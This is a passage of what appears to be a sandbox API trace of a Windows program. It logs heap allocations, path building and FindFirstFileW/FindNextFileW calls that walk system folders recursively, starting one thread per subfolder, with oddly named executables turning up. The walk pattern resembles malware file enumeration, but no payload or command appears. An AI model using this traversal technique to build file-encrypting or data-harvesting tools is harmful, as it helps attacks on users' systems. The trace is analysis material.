ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941ff0 [0140.671] wcscmp (_String1=".", _String2=".") returned 0 [0140.671] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x904950 | out: lpFindFileData=0x904950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.671] wcscmp (_String1="..", _String2=".") returned 1 [0140.671] wcscmp (_String1="..", _String2="..") returned 0 [0140.671] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x904950 | out: lpFindFileData=0x904950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0140.671] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0140.671] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0140.671] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e9340 [0140.671] wcscpy (in: _Dest=0x8e9340, _Source="C:\\Program Files (x86)\\Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0140.671] wcscat (in: _Dest=0x8e9340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\" [0140.671] wcscat (in: _Dest=0x8e9340, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0141.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e9340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0141.325] FindNextFileW (in: hFindFile=0x941ff0, lpFindFileData=0x904950 | out: lpFindFileData=0x904950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0141.325] FindClose (in: hFindFile=0x941ff0 | out: hFindFile=0x941ff0) returned 1 [0141.325] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904950) returned 1 [0141.325] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fea48) returned 1 [0141.325] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebed8) returned 1 Thread: id = 1651 os_tid = 0x788 [0139.631] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x904ba8 [0139.632] wcscpy (in: _Dest=0x904ba8, _Source="C:\\Program Files (x86)\\Uninstall Information" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0139.632] wcscat (in: _Dest=0x904ba8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\") returned="C:\\Program Files (x86)\\Uninstall Information\\" [0139.632] wcscat (in: _Dest=0x904ba8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\*") returned="C:\\Program Files (x86)\\Uninstall Information\\*" [0139.632] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x904c28 [0139.632] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x904c28 | out: lpFindFileData=0x904c28*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942070 [0140.673] wcscmp (_String1=".", _String2=".") returned 0 [0140.673] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x904c28 | out: lpFindFileData=0x904c28*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.673] wcscmp (_String1="..", _String2=".") returned 1 [0140.673] wcscmp (_String1="..", _String2="..") returned 0 [0140.674] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x904c28 | out: lpFindFileData=0x904c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1614a600, ftCreationTime.dwHighDateTime=0x1d55387, ftLastAccessTime.dwLowDateTime=0xda647af0, ftLastAccessTime.dwHighDateTime=0x1d55c68, ftLastWriteTime.dwLowDateTime=0xda647af0, ftLastWriteTime.dwHighDateTime=0x1d55c68, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hawaiian_cas.exe", cAlternateFileName="HAWAII~1.EXE")) returned 1 [0140.674] wcscmp (_String1="hawaiian_cas.exe", _String2=".") returned 1 [0140.674] wcscmp (_String1="hawaiian_cas.exe", _String2="..") returned 1 [0140.674] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x904c28 | out: lpFindFileData=0x904c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1614a600, ftCreationTime.dwHighDateTime=0x1d55387, ftLastAccessTime.dwLowDateTime=0xda647af0, ftLastAccessTime.dwHighDateTime=0x1d55c68, ftLastWriteTime.dwLowDateTime=0xda647af0, ftLastWriteTime.dwHighDateTime=0x1d55c68, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hawaiian_cas.exe", cAlternateFileName="HAWAII~1.EXE")) returned 0 [0140.674] FindClose (in: hFindFile=0x942070 | out: hFindFile=0x942070) returned 1 [0140.674] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904c28) returned 1 [0140.674] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904ba8) returned 1 [0140.674] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebf38) returned 1 Thread: id = 1652 os_tid = 0x5d8 [0139.632] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e40b0 [0139.632] wcscpy (in: _Dest=0x8e40b0, _Source="C:\\Program Files (x86)\\Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0139.632] wcscat (in: _Dest=0x8e40b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\") returned="C:\\Program Files (x86)\\Windows Mail\\" [0139.632] wcscat (in: _Dest=0x8e40b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\*") returned="C:\\Program Files (x86)\\Windows Mail\\*" [0139.632] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x904e90 [0139.632] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9f50 [0141.103] wcscmp (_String1=".", _String2=".") returned 0 [0141.103] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.103] wcscmp (_String1="..", _String2=".") returned 1 [0141.103] wcscmp (_String1="..", _String2="..") returned 0 [0141.103] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0141.103] wcscmp (_String1="en-US", _String2=".") returned 1 [0141.103] wcscmp (_String1="en-US", _String2="..") returned 1 [0141.103] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ff3c8 [0141.103] wcscpy (in: _Dest=0x8ff3c8, _Source="C:\\Program Files (x86)\\Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0141.103] wcscat (in: _Dest=0x8ff3c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\") returned="C:\\Program Files (x86)\\Windows Mail\\" [0141.103] wcscat (in: _Dest=0x8ff3c8, _Source="en-US" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US" [0141.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0141.789] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0141.789] wcscmp (_String1="msoe.dll", _String2=".") returned 1 [0141.789] wcscmp (_String1="msoe.dll", _String2="..") returned 1 [0141.789] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e00b0b6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9e00b0b6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6cf87540, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0141.789] wcscmp (_String1="MSOERES.dll", _String2=".") returned 1 [0141.789] wcscmp (_String1="MSOERES.dll", _String2="..") returned 1 [0141.789] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b9f397, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b9f397, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0141.789] wcscmp (_String1="oeimport.dll", _String2=".") returned 1 [0141.789] wcscmp (_String1="oeimport.dll", _String2="..") returned 1 [0141.789] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf14fe800, ftCreationTime.dwHighDateTime=0x1d50cd9, ftLastAccessTime.dwLowDateTime=0x95a99aa0, ftLastAccessTime.dwHighDateTime=0x1d5811e, ftLastWriteTime.dwLowDateTime=0x95a99aa0, ftLastWriteTime.dwHighDateTime=0x1d5811e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="prix enclosure surveys.exe", cAlternateFileName="PRIXEN~1.EXE")) returned 1 [0141.789] wcscmp (_String1="prix enclosure surveys.exe", _String2=".") returned 1 [0141.789] wcscmp (_String1="prix enclosure surveys.exe", _String2="..") returned 1 [0141.789] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879b1223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x879b1223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87a95a65, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0141.789] wcscmp (_String1="wab.exe", _String2=".") returned 1 [0141.789] wcscmp (_String1="wab.exe", _String2="..") returned 1 [0141.789] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a77900b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a77900b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0141.789] wcscmp (_String1="wabfind.dll", _String2=".") returned 1 [0141.789] wcscmp (_String1="wabfind.dll", _String2="..") returned 1 [0141.789] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1aba92, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a1aba92, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb05167b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0141.789] wcscmp (_String1="wabimp.dll", _String2=".") returned 1 [0141.789] wcscmp (_String1="wabimp.dll", _String2="..") returned 1 [0141.789] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2b2af4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2b2af4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x78aae250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0141.789] wcscmp (_String1="wabmig.exe", _String2=".") returned 1 [0141.790] wcscmp (_String1="wabmig.exe", _String2="..") returned 1 [0141.790] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0141.790] wcscmp (_String1="WinMail.exe", _String2=".") returned 1 [0141.790] wcscmp (_String1="WinMail.exe", _String2="..") returned 1 [0141.790] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0141.790] FindClose (in: hFindFile=0x8d9f50 | out: hFindFile=0x8d9f50) returned 1 [0141.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904e90) returned 1 [0141.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e40b0) returned 1 [0141.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9198) returned 1 Thread: id = 1653 os_tid = 0x794 [0139.636] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2e) returned 0x8daa28 [0139.636] wcscpy (in: _Dest=0x8daa28, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0139.636] wcscat (in: _Dest=0x8daa28, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\" [0139.636] wcscat (in: _Dest=0x8daa28, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\*") returned="C:\\ProgramData\\Adobe\\*" [0139.636] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9050f8 [0139.636] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da410 [0141.128] wcscmp (_String1=".", _String2=".") returned 0 [0141.128] FindNextFileW (in: hFindFile=0x8da410, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.128] wcscmp (_String1="..", _String2=".") returned 1 [0141.128] wcscmp (_String1="..", _String2="..") returned 0 [0141.128] FindNextFileW (in: hFindFile=0x8da410, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0141.128] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0141.128] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0141.128] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d2d28 [0141.128] wcscpy (in: _Dest=0x8d2d28, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0141.128] wcscat (in: _Dest=0x8d2d28, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\" [0141.128] wcscat (in: _Dest=0x8d2d28, _Source="Acrobat" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat" [0146.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0146.013] FindNextFileW (in: hFindFile=0x8da410, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0146.013] wcscmp (_String1="ARM", _String2=".") returned 1 [0146.013] wcscmp (_String1="ARM", _String2="..") returned 1 [0146.013] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x942530 [0146.013] wcscpy (in: _Dest=0x942530, _Source="C:\\ProgramData\\Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0146.013] wcscat (in: _Dest=0x942530, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\") returned="C:\\ProgramData\\Adobe\\" [0146.013] wcscat (in: _Dest=0x942530, _Source="ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM" [0146.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x942530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1080 [0146.014] FindNextFileW (in: hFindFile=0x8da410, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0146.014] FindClose (in: hFindFile=0x8da410 | out: hFindFile=0x8da410) returned 1 [0146.016] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9050f8) returned 1 [0146.016] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8daa28) returned 1 [0146.016] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da7f8) returned 1 Thread: id = 1654 os_tid = 0x5d4 [0139.637] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f91e8 [0139.637] wcscpy (in: _Dest=0x8f91e8, _Source="C:\\ProgramData\\Application Data" | out: _Dest="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0139.637] wcscat (in: _Dest=0x8f91e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Application Data\\") returned="C:\\ProgramData\\Application Data\\" [0139.637] wcscat (in: _Dest=0x8f91e8, _Source="*" | out: _Dest="C:\\ProgramData\\Application Data\\*") returned="C:\\ProgramData\\Application Data\\*" [0139.637] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905360 [0139.637] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*", lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.638] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905360) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f91e8) returned 1 [0139.638] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2620) returned 1 Thread: id = 1655 os_tid = 0x78c [0139.639] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9cd0 [0139.639] wcscpy (in: _Dest=0x8d9cd0, _Source="C:\\ProgramData\\Desktop" | out: _Dest="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0139.639] wcscat (in: _Dest=0x8d9cd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Desktop\\") returned="C:\\ProgramData\\Desktop\\" [0139.639] wcscat (in: _Dest=0x8d9cd0, _Source="*" | out: _Dest="C:\\ProgramData\\Desktop\\*") returned="C:\\ProgramData\\Desktop\\*" [0139.639] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905360 [0139.639] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.639] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905360) returned 1 [0139.639] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9cd0) returned 1 [0139.639] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da980) returned 1 Thread: id = 1656 os_tid = 0x598 [0139.640] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 